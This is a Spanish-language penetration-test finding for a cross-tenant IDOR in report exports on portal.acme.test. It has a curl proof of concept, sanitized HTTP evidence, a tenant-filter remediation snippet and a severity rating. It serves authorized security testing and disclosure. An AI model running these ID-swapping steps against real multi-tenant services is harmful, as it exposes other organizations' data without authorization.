FT-024 · Broken Access Control
Control de acceso insuficiente en exportaciones
portal.acme.test
IMPACTO
Qué puede ocurrir
Un usuario autenticado puede descargar informes de otra organización cambiando el identificador de la exportación. El servidor comprueba la sesión, pero no que el recurso pertenezca al inquilino.
REPRODUCCIÓN
Prueba de concepto paso a paso
- 01
Iniciar sesión con dos cuentas de prueba
Cuenta A pertenece a la organización evaluada; cuenta B a una organización de control creada para el ejercicio.
curl -s -c a.jar -X POST https://portal.acme.test/login \ -d 'email=pentest-a@acme.test&password=[REDACTED]' curl -s -c b.jar -X POST https://portal.acme.test/login \ -d 'email=pentest-b@acme.test&password=[REDACTED]'
- 02
Generar un informe con la cuenta A y anotar su identificador
El identificador viaja en la URL de descarga y no está firmado.
curl -s -b a.jar -X POST https://portal.acme.test/api/reports/export \ -H 'Content-Type: application/json' -d '{"projectId":"prj_a"}' | jq -r .exportId # => exp_9f21c0c4 - 03
Descargar ese informe desde la cuenta B
La respuesta es 200 y entrega el PDF de la organización A: la autorización por objeto no existe.
curl -s -b b.jar -o cross-tenant.pdf -w '%{http_code}\n' \ https://portal.acme.test/api/reports/exp_9f21c0c4/download # => 200 - 04
Confirmar y detener
Se verifica la cabecera del fichero, se destruye la copia y se documenta el hallazgo sin extraer datos reales.
head -c 20 cross-tenant.pdf | xxd | head -1 shred -u cross-tenant.pdf
Ejecutado dentro de la ventana autorizada, con cuentas creadas para el ejercicio y sin extraer datos reales. Las credenciales aparecen siempre redactadas.
EVIDENCIA SANITIZADA
Petición y respuesta (sanitizadas)
GET /api/reports/exp_9f21c0c4/download HTTP/1.1 Host: portal.acme.test Cookie: session=[REDACTED · cuenta B] HTTP/1.1 200 OK Content-Type: application/pdf Content-Disposition: attachment; filename="informe-organizacion-A.pdf"
REMEDIACIÓN
Comprobación de propiedad en servidor
Comprobar la propiedad del recurso en servidor en cada acceso, apoyarse en RLS por organización y añadir pruebas negativas automatizadas para la descarga entre inquilinos.
const { data: report } = await supabase
.from("report_exports")
.select("id, storage_path")
.eq("id", exportId)
.eq("organization_id", session.organizationId) // <- filtro de inquilino
.maybeSingle();
if (!report) return new Response("No encontrado", { status: 404 });CLASIFICACIÓN
Ficha del hallazgo
- Severidad
- Alta
- CVSS v3.1
- 8.1
- CWE
- CWE-639
- OWASP
- A01:2021 · Broken Access Control
- Validación
- Validado · manual
- Activo
- portal.acme.test
VECTOR
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
REFERENCIAS